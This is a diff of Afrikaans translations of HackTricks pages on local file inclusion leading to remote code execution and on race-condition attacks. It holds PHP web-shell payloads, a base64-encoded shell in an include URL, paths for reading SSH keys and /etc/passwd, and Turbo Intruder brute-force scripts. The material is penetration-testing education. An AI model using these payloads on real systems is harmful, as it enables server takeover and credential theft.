Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||||
|
|
||||||
### Per e-pos
|
### Via E-pos
|
||||||
|
|
||||||
**Stuur 'n e-pos** na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos `<?php echo system($_REQUEST["cmd"]); ?>` en probeer om die e-pos van die gebruiker in te sluit met 'n pad soos **`/var/mail/<USERNAME>`** of **`/var/spool/mail/<USERNAME>`**
|
**Stuur 'n e-pos** na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos `<?php echo system($_REQUEST["cmd"]); ?>` en probeer die e-pos van die gebruiker insluit met 'n pad soos **`/var/mail/<USERNAME>`** of **`/var/spool/mail/<USERNAME>`**
|
||||||
|
|
||||||
### Per /proc/*/fd/*
|
### Via /proc/*/fd/*
|
||||||
|
|
||||||
1. Laai baie shells op (byvoorbeeld: 100)
|
1. Laai baie shells op (byvoorbeeld: 100)
|
||||||
2. Sluit [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) in, met $PID = PID van die proses (kan brute forced word) en $FD die file descriptor (kan ook brute forced word)
|
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), met $PID = PID van die proses (kan met brute force deurkraak word) en $FD = die lêerbeskrywer (kan ook met brute force deurkraak word)
|
||||||
|
|
||||||
### Per /proc/self/environ
|
### Via /proc/self/environ
|
||||||
|
|
||||||
Soortgelyk aan 'n log-lêer, stuur die payload in die User-Agent; dit sal binne die /proc/self/environ-lêer weerspieël word
|
Soos 'n loglêer, stuur die payload in die User-Agent; dit sal weerspieël word binne die /proc/self/environ-lêer
|
||||||
```
|
```
|
||||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||||
User-Agent: <?=phpinfo(); ?>
|
User-Agent: <?=phpinfo(); ?>
|
||||||
```
|
```
|
||||||
### Via upload
|
### Via oplaai
|
||||||
|
|
||||||
As jy 'n lêer kan upload, inject net die shell payload daarin (bv: `<?php system($_GET['c']); ?>`).
|
As jy 'n lêer kan oplaai, injekteer net die shell payload daarin (bv.: `<?php system($_GET['c']); ?>`).
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||||
```
|
```
|
||||||
Om die lêer leesbaar te hou, is dit die beste om dit in die metadata van beelde/doc/pdf in te voeg
|
Om die lêer leesbaar te hou, is dit die beste om in die metadata van die foto's/doc/pdf in te voeg
|
||||||
|
|
||||||
### Via ZIP-lêer oplaai
|
### Via ZIP-lêer oplaai
|
||||||
|
|
||||||
Laai 'n ZIP-lêer op wat 'n gecomprimeerde PHP shell bevat en kry toegang:
|
Laai 'n ZIP-lêer op wat 'n PHP shell saamgepak bevat en kry toegang:
|
||||||
```python
|
```python
|
||||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||||
```
|
```
|
||||||
@ -536,7 +536,7 @@ Kontroleer of die webwerf PHP Session (PHPSESSID) gebruik
|
|||||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||||
```
|
```
|
||||||
In PHP word hierdie sessies in _/var/lib/php5/sess\\_\[PHPSESSID]\_ lêers gestoor
|
In PHP word hierdie sessions gestoor in _/var/lib/php5/sess\\_\[PHPSESSID]\_ lêers
|
||||||
```
|
```
|
||||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||||
@ -551,73 +551,68 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
|||||||
```
|
```
|
||||||
### Deur ssh
|
### Deur ssh
|
||||||
|
|
||||||
As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang kry tot **\<HOME>/.ssh/id_rsa**
|
As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang tot **\<HOME>/.ssh/id_rsa** kry.
|
||||||
|
|
||||||
### **Deur** **vsftpd** _**loglêers**_
|
### **Deur** **vsftpd** _**logs**_
|
||||||
|
|
||||||
Die loglêers vir die FTP-bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
|
Die logs vir die FTP-server vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
|
||||||
|
|
||||||
1. Injekteer 'n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
|
1. Inject a PHP payload into the username field during the login process.
|
||||||
2. Na die injeksie gebruik die LFI om die bediener-loglêers van _**/var/log/vsftpd.log**_ te onttrek.
|
2. Na injeksie, gebruik die LFI om die bedienerlogs van _**/var/log/vsftpd.log**_ te onttrek.
|
||||||
|
|
||||||
### Deur php base64 filter (using base64)
|
### Deur php base64 filter (gebruik base64)
|
||||||
|
|
||||||
Soos getoon in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel, die PHP base64-filter ignoreer nie-base64. Jy kan dit gebruik om die lêeruitbreidingskontrole te omseil: as jy base64 voorsien wat eindig met ".php", sal dit die "." ignoreer en "php" by die base64 aanheg. Hier is 'n voorbeeld-payload:
|
Soos getoon in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel, die PHP base64-filter ignoreer nie-base64-karakters. Jy kan dit gebruik om die lêeruitbreidingkontrole te omseil: as jy base64 verskaf wat eindig met ".php", sal dit die "." ignoreer en "php" by die base64 heg. Hier is 'n voorbeeld payload:
|
||||||
```url
|
```url
|
||||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||||
|
|
||||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||||
```
|
```
|
||||||
### Via php filters (geen lêer nodig)
|
### Deur php filters (geen lêer nodig nie)
|
||||||
|
|
||||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters** kan gebruik om enige inhoud as output te genereer. Dit beteken basies dat jy **enige php code** kan genereer vir die include **sonder om dit in 'n lêer te skryf**.
|
|
||||||
|
|
||||||
|
Hierdie [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters to generate arbitrary content** as output kan gebruik. Dit beteken basies dat jy **generate arbitrary php code** vir die include kan kry **sonder om dit in 'n lêer te skryf**.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-php-filters.md
|
lfi2rce-via-php-filters.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Via segmentation fault
|
### Deur segmentation fault
|
||||||
|
|
||||||
**Upload** 'n lêer wat as **temporary** in `/tmp` gestoor word, veroorsaak dan in die **selfde request** 'n **segmentation fault**, en die **temporary file sal dan nie verwyder word nie** en jy kan daarna soek.
|
|
||||||
|
|
||||||
|
**Upload** 'n lêer wat as **temporary** in `/tmp` gestoor sal word, dan in die **same request,** 'n **segmentation fault** veroorsaak, en dan sal die **temporary file won't be deleted** — waarna jy daarna kan soek.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-segmentation-fault.md
|
lfi2rce-via-segmentation-fault.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Via Nginx temp file storage
|
### Deur Nginx temp file storage
|
||||||
|
|
||||||
As jy 'n **Local File Inclusion** gevind het en **Nginx** voor PHP loop, kan jy moontlik RCE verkry met die volgende tegniek:
|
|
||||||
|
|
||||||
|
As jy 'n **Local File Inclusion** gevind het en **Nginx** voor PHP loop, kan jy dalk RCE verkry met die volgende tegniek:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-nginx-temp-files.md
|
lfi2rce-via-nginx-temp-files.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
### Deur PHP_SESSION_UPLOAD_PROGRESS
|
||||||
|
|
||||||
As jy 'n **Local File Inclusion** gevind het selfs al het jy **nie 'n session** nie en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP die **session vir jou aktiveer**. Jy kan dit misbruik om RCE te kry:
|
|
||||||
|
|
||||||
|
As jy 'n **Local File Inclusion** gevind het, selfs al het jy nie 'n sessie nie en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP die sessie vir jou aktiveer. Jy kan dit misbruik om RCE te kry:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
via-php_session_upload_progress.md
|
via-php_session_upload_progress.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Via temp file uploads in Windows
|
### Deur temp file uploads in Windows
|
||||||
|
|
||||||
As jy 'n **Local File Inclusion** gevind het en die bediener op **Windows** loop, kan jy moontlik RCE kry:
|
|
||||||
|
|
||||||
|
As jy 'n **Local File Inclusion** gevind het en die bediener op **Windows** loop, kan jy dalk RCE kry:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-temp-file-uploads.md
|
lfi2rce-via-temp-file-uploads.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Via `pearcmd.php` + URL args
|
### Deur `pearcmd.php` + URL args
|
||||||
|
|
||||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), die script `/usr/local/lib/phppearcmd.php` bestaan standaard in php docker images. Verder is dit moontlik om argumente aan die script via die URL deur te gee omdat aangedui word dat as 'n URL-param geen `=` het nie, dit as 'n argument gebruik moet word. Sien ook [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) en [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
Soos [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), bestaan die script `/usr/local/lib/phppearcmd.php` standaard in php docker images. Verder is dit moontlik om argumente aan die script via die URL deur te gee omdat aangedui word dat as 'n URL param nie 'n `=` het nie, dit as 'n argument gebruik moet word. Sien ook [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) en [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||||
|
|
||||||
Die volgende versoek skep 'n lêer in `/tmp/hello.php` met die inhoud `<?=phpinfo()?>`:
|
Die volgende request skep 'n lêer in `/tmp/hello.php` met die inhoud `<?=phpinfo()?>`:
|
||||||
```bash
|
```bash
|
||||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||||
```
|
```
|
||||||
@ -630,7 +625,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
|||||||
```
|
```
|
||||||
### Deur phpinfo() (file_uploads = on)
|
### Deur phpinfo() (file_uploads = on)
|
||||||
|
|
||||||
As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** met file_uploads = on openbaar maak, kan jy RCE kry:
|
As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** openbaar met file_uploads = on, kan jy RCE kry:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -639,7 +634,7 @@ lfi2rce-via-phpinfo.md
|
|||||||
|
|
||||||
### Deur compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
### Deur compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||||
|
|
||||||
As jy 'n **Local File Inclusion** gevind het en jy **can exfiltrate the path** of the temp file, MAAR die **server** is **checking** of die **file to be included has PHP marks**, kan jy probeer om daardie **check** te **bypass** met hierdie **Race Condition**:
|
As jy 'n **Local File Inclusion** gevind het en jy die pad van die temp file kan exfiltrate MAAR die **server** kontroleer of die **lêer wat ingesluit word PHP-merke het**, kan jy probeer om daardie kontrole te omseil met hierdie **Race Condition**:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -648,19 +643,19 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
|||||||
|
|
||||||
### Deur eternal waiting + bruteforce
|
### Deur eternal waiting + bruteforce
|
||||||
|
|
||||||
As jy die LFI kan misbruik om **upload temporary files** en die server die PHP-uitvoering laat **hang**, kan jy dan **brute force filenames during hours** om die temporary file te vind:
|
As jy die LFI kan misbruik om **temporary files** op te laai en die server die PHP-uitvoering te laat **hang**, kan jy dan **brute force** lêernaam deur ure probeer om die temporary file te vind:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
lfi2rce-via-eternal-waiting.md
|
lfi2rce-via-eternal-waiting.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Tot Fatal Error
|
### Na Fatal Error
|
||||||
|
|
||||||
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Jy moet dieselfde een 2 time include om daardie fout te gooi).
|
As jy enige van die lêers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).
|
||||||
|
|
||||||
**Ek weet nie hoe dit nuttig is nie maar dit kan wees.**\
|
**Ek weet nie hoe dit nuttig is nie, maar dit kan wees.**\
|
||||||
_Selfs al veroorsaak jy 'n PHP Fatal Error, PHP-tydelike lêers wat opgelaai is, word verwyder._
|
_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
|
||||||
|
|
||||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -3,56 +3,56 @@
|
|||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Vir 'n diep begrip van hierdie tegniek, sien die oorspronklike verslag by [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
> Vir ’n diep begrip van hierdie tegniek, kyk die oorspronklike verslag by [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||||
|
|
||||||
## Verbetering van Race Condition-aanvalle
|
## Verbetering van Race Condition-aanvalle
|
||||||
|
|
||||||
Die grootste struikelblok om voordeel te trek uit race conditions is om te verseker dat meerdere requests terselfdertyd hanteer word, met **baie min verskil in hul verwerkingstye—ideaal minder as 1ms**.
|
Die grootste struikelblok om voordeel te trek uit race conditions is om seker te maak dat meerdere requests terselfdertyd verwerk word, met **baie min verskil in hul verwerkingstye — idealiter minder as 1ms**.
|
||||||
|
|
||||||
Hier kan jy 'n paar tegnieke vind om requests te sinkroniseer:
|
Hier volg ’n paar tegnieke vir die sinkronisering van requests:
|
||||||
|
|
||||||
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
||||||
|
|
||||||
- **HTTP/2**: Ondersteun die stuur van twee requests oor 'n enkele TCP-verbinding, wat die impak van netwerk-jitter verminder. Weens bediener-side variasies mag twee requests egter nie genoeg wees vir 'n konsekwente race condition-uitbuiting nie.
|
- **HTTP/2**: Ondersteun die stuur van twee requests oor ’n enkele TCP-verbinding, wat die impak van netwerkjitter verminder. As gevolg van variasies aan die bedienerkant mag twee requests egter nie genoeg wees vir ’n konsekwente race condition exploit nie.
|
||||||
- **HTTP/1.1 'Last-Byte Sync'**: Maak dit moontlik om die meeste dele van 20-30 requests vooraf te stuur, terwyl 'n klein fragment teruggehou word, wat dan saam gestuur word, en sodoende gelyktydige aankoms by die bediener bereik.
|
- **HTTP/1.1 'Last-Byte Sync'**: Maak dit moontlik om die meeste dele van 20–30 requests vooraf te stuur, terwyl ’n klein fragment teruggehou word, wat dan saamgestuur word en ’n gelyktydige aankoms by die bediener bewerkstellig.
|
||||||
|
|
||||||
**Voorbereiding vir Last-Byte Sync** behels:
|
Voorbereiding vir Last-Byte Sync behels:
|
||||||
|
|
||||||
1. Stuur headers en body-data minus die laaste byte sonder om die stroom te beëindig.
|
1. Stuur headers en body data minus die finale byte sonder om die stream te beëindig.
|
||||||
2. Pouseer vir 100ms na die aanvanklike stuur.
|
2. Pauzeer vir 100ms na die aanvanklike stuur.
|
||||||
3. Deaktiveer TCP_NODELAY om Nagle's algorithm te gebruik vir die groepering van finale frames.
|
3. Skakel TCP_NODELAY af om Nagle's algorithm te gebruik vir die saamvoeging van finale frames.
|
||||||
4. Pinging om die verbinding op te warm.
|
4. Pings stuur om die verbinding te warm te maak.
|
||||||
|
|
||||||
Die daaropvolgende stuur van die teruggehoue frames behoort tot hul aankoms in 'n enkele pakket te lei, wat met Wireshark verifieerbaar is. Hierdie metode is nie van toepassing op statiese lêers nie, wat gewoonlik nie by RC attacks betrokke is nie.
|
Die daaropvolgende stuur van die teruggehoue frames behoort te lei tot hul aankoms in ’n enkele packet, verifieerbaar met Wireshark. Hierdie metode geld nie vir static files nie, wat gewoonlik nie by RC-aanvalle betrokke is nie.
|
||||||
|
|
||||||
### Aanpassing by bediener-argitektuur
|
### Aanpassing by Server-argitektuur
|
||||||
|
|
||||||
Om die teiken se argitektuur te verstaan is noodsaaklik. Front-end servers kan requests anders routeer, wat die timing beïnvloed. Preemptiewe server-side verbindingsopwarming deur onbeduidende requests kan versoektiming normaliseer.
|
Om die teiken se argitektuur te verstaan is kritiek. Front-end servers kan requests anders routeer, wat timing beïnvloed. Preemptiewe verbinding-warming aan die bedienerkant, deur onbelangrike requests, kan versoektye normaliseer.
|
||||||
|
|
||||||
#### Hantering van Session-Based Locking
|
#### Handling Session-Based Locking
|
||||||
|
|
||||||
Frameworks soos PHP se session handler serialiseer requests per session, wat moontlik kwesbaarhede verskuil. Deur vir elke request verskillende session tokens te gebruik, kan hierdie probleem omseil word.
|
Frameworks soos PHP se session handler serialiseer requests per session, wat moontlik kwesbaarhede kan verberg. Deur verskillende session tokens vir elke request te gebruik kan hierdie probleem omseil word.
|
||||||
|
|
||||||
#### Oorkom Rate- of Hulpbronbeperkings
|
#### Overcoming Rate or Resource Limits
|
||||||
|
|
||||||
As verbinding-opwarming ondoeltreffend is, kan die doelbewuste veroorsaak van webservers se rate- of hulpbronlimiet-vertragings deur 'n vloed van dummy requests die single-packet attack vergemaklik deur 'n server-side vertraging te skep wat race conditions bevorder.
|
As connection warming nie effektief is nie, kan jy webservers se rate- of resource-limietvertraging doelbewus veroorsaak deur ’n vloed van dummy requests, wat die single-packet attack kan vergemaklik deur ’n bediener-aan-die-kant vertraging te induseer wat gunstig is vir race conditions.
|
||||||
|
|
||||||
## Voorbeelde van Aanvalle
|
## Attack Examples
|
||||||
|
|
||||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Jy kan die request stuur na **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), jy kan in die request die waarde verander wat jy wil brute force vir **`%s`** soos in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` en dan die **`examples/race-single-packer-attack.py`** uit die keuselys kies:
|
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Jy kan die request stuur na **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), jy kan in die request die waarde wat jy wil brute force verander vir **`%s`** soos in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` en dan die **`examples/race-single-packer-attack.py`** uit die dropdown kies:
|
||||||
|
|
||||||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy van plan is om **verskillende waardes te stuur**, kan jy die kode wysig met hierdie een wat 'n woordlys vanaf die klembord gebruik:
|
As jy verskillende waardes gaan stuur, kan jy die kode wysig met hierdie een wat ’n wordlist vanaf die clipboard gebruik:
|
||||||
```python
|
```python
|
||||||
passwords = wordlists.clipboard
|
passwords = wordlists.clipboard
|
||||||
for password in passwords:
|
for password in passwords:
|
||||||
engine.queue(target.req, password, gate='race1')
|
engine.queue(target.req, password, gate='race1')
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> As die web HTTP2 nie ondersteun nie (slegs HTTP1.1), gebruik `Engine.THREADED` of `Engine.BURP` in plaas van `Engine.BURP2`.
|
> As die web HTTP2 nie ondersteun nie (slegs HTTP1.1) gebruik `Engine.THREADED` of `Engine.BURP` in plaas van `Engine.BURP2`.
|
||||||
|
|
||||||
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: As jy 'n versoek na 1 endpoint moet stuur en dan verskeie na ander endpoints om die RCE te trigger, kan jy die `race-single-packet-attack.py`-skrip verander met iets soos:
|
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: As jy 'n request na 1 endpoint moet stuur en daarna verskeie na ander endpoints om die RCE te trigger, kan jy die `race-single-packet-attack.py` script verander met iets soos:
|
||||||
```python
|
```python
|
||||||
def queueRequests(target, wordlists):
|
def queueRequests(target, wordlists):
|
||||||
engine = RequestEngine(endpoint=target.endpoint,
|
engine = RequestEngine(endpoint=target.endpoint,
|
||||||
@ -84,15 +84,15 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
|||||||
engine.openGate(currentAttempt)
|
engine.openGate(currentAttempt)
|
||||||
```
|
```
|
||||||
- Dit is ook beskikbaar in **Repeater** via die nuwe '**Send group in parallel**' opsie in Burp Suite.
|
- Dit is ook beskikbaar in **Repeater** via die nuwe '**Send group in parallel**' opsie in Burp Suite.
|
||||||
- Vir **limit-overrun** kan jy net die **same request 50 times** by die groep voeg.
|
- Vir **limit-overrun** kan jy net **dieselfde request 50 keer** by die groep voeg.
|
||||||
- Vir **connection warming** kan jy **add** aan die **beginning** van die **group** 'n paar **requests** na 'n nie-statiese deel van die web server.
|
- Vir **connection warming** kan jy **byvoeg** aan die **begin** van die **groep** 'n paar **requests** na 'n nie-statiese deel van die webbediener.
|
||||||
- Vir **delaying** die proses **between** die verwerking van **one request and another** in 'n 2 substates stappe, kan jy **add extra requests between** beide requests.
|
- Vir **delaying** die proses **tussen** die verwerking van **een request en 'n ander** in 2 substates stappe, kan jy **voeg ekstra requests tussen** albei requests.
|
||||||
- Vir 'n **multi-endpoint** RC kan jy begin deur die **request** te stuur wat **goes to the hidden state** en dan net ná dit **50 requests** wat die **hidden state** **exploits**.
|
- Vir 'n **multi-endpoint** RC kan jy begin om die **request** te stuur wat **na die versteekte toestand gaan** en dan net ná dit **50 requests** stuur wat **die versteekte toestand uitbuit**.
|
||||||
|
|
||||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
- **Automated python script**: Die doel van hierdie skrip is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend verifieer totdat die verification token van die nuwe e-pos by die laaste e-pos aankom (dit is omdat die kode 'n RC gesien het waar dit moontlik was om 'n e-pos te wysig maar die verification na die ou een gestuur is omdat die veranderlike wat die e-pos aandui reeds met die eerste gevul was).\
|
- **Geautomatiseerde python-skrip**: Die doel van hierdie skrip is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend verifieer totdat die verifikasie-token van die nuwe e-pos by die laaste e-pos aankom (dit is omdat in die kode daar 'n RC was waar dit moontlik was om 'n e-pos te wysig maar die verifikasie aan die ou een gestuur is omdat die veranderlike wat die e-pos aandui reeds met die eerste een gevul was).\
|
||||||
Wanneer die woord "objetivo" in die ontvangde e-posse gevind word, weet ons dat ons die verification token van die veranderde e-pos ontvang het en ons beëindig die aanval.
|
Wanneer die woord "objetivo" in die ontvangde e-posse gevind word, weet ons dat ons die verifikasie-token van die veranderde e-pos ontvang het en ons beëindig die aanval.
|
||||||
```python
|
```python
|
||||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||||
# Script from victor to solve a HTB challenge
|
# Script from victor to solve a HTB challenge
|
||||||
@ -217,21 +217,28 @@ h2_conn.close_connection()
|
|||||||
|
|
||||||
response = requests.get(url, verify=False)
|
response = requests.get(url, verify=False)
|
||||||
```
|
```
|
||||||
### Verbetering van Single Packet Attack
|
#### Turbo Intruder: enjin- en gating-notas
|
||||||
|
|
||||||
In die oorspronklike navorsing word verduidelik dat hierdie aanval 'n limiet van 1,500 bytes het. Echter, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), is verduidelik hoe dit moontlik is om die 1,500-byte beperking van die single packet attack uit te brei na die **65,535 B window limitation of TCP by using IP layer fragmentation** (deur 'n enkele pakket in verskeie IP-pakkette op te deel) en dit in 'n ander volgorde te stuur, wat voorkom dat die pakket saamgestel word totdat al die fragmente die bediener bereik het. Hierdie tegniek het die navorser in staat gestel om ongeveer 10,000 requests in ~166ms te stuur.
|
- Enjin-keuse: gebruik `Engine.BURP2` op HTTP/2 teikens om die single‑packet attack te trigger; val terug na `Engine.THREADED` of `Engine.BURP` vir HTTP/1.1 last‑byte sync.
|
||||||
|
- `gate`/`openGate`: queue many copies with `gate='race1'` (or per‑attempt gates), which withholds the tail of each request; `openGate('race1')` flushes all tails together so they arrive nearly simultaneously.
|
||||||
|
- Diagnostiek: negatiewe tydstempels in Turbo Intruder dui aan dat die server geantwoord het voordat die request heeltemal gestuur is, wat oorlap bewys. Dit word verwag in ware races.
|
||||||
|
- Konneksie-opwarming: stuur eers 'n ping of 'n paar onskadelike requests om tydberekeninge te stabiliseer; skakel opsioneel `TCP_NODELAY` af om die samestelling van die finale frames aan te moedig.
|
||||||
|
|
||||||
Let daarop dat alhoewel hierdie verbetering die aanval meer betroubaar maak in RC wat honderde/duisende pakkette vereis om terselfdertyd aan te kom, dit ook sekere sagteware-beperkings kan hê. Sommige populêre HTTP-servers soos Apache, Nginx en Go het 'n streng `SETTINGS_MAX_CONCURRENT_STREAMS` instelling van 100, 128 en 250. Ander soos NodeJS en nghttp2 het dit egter onbeperk.\
|
### Verbetering van die Single Packet Attack
|
||||||
Dit beteken basies dat Apache slegs 100 HTTP-verbindinge vanaf 'n enkele TCP-verbinding sal oorweeg (wat hierdie RC-aanval beperk).
|
|
||||||
|
|
||||||
Jy kan sommige voorbeelde wat hierdie tegniek gebruik in die repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main) vind.
|
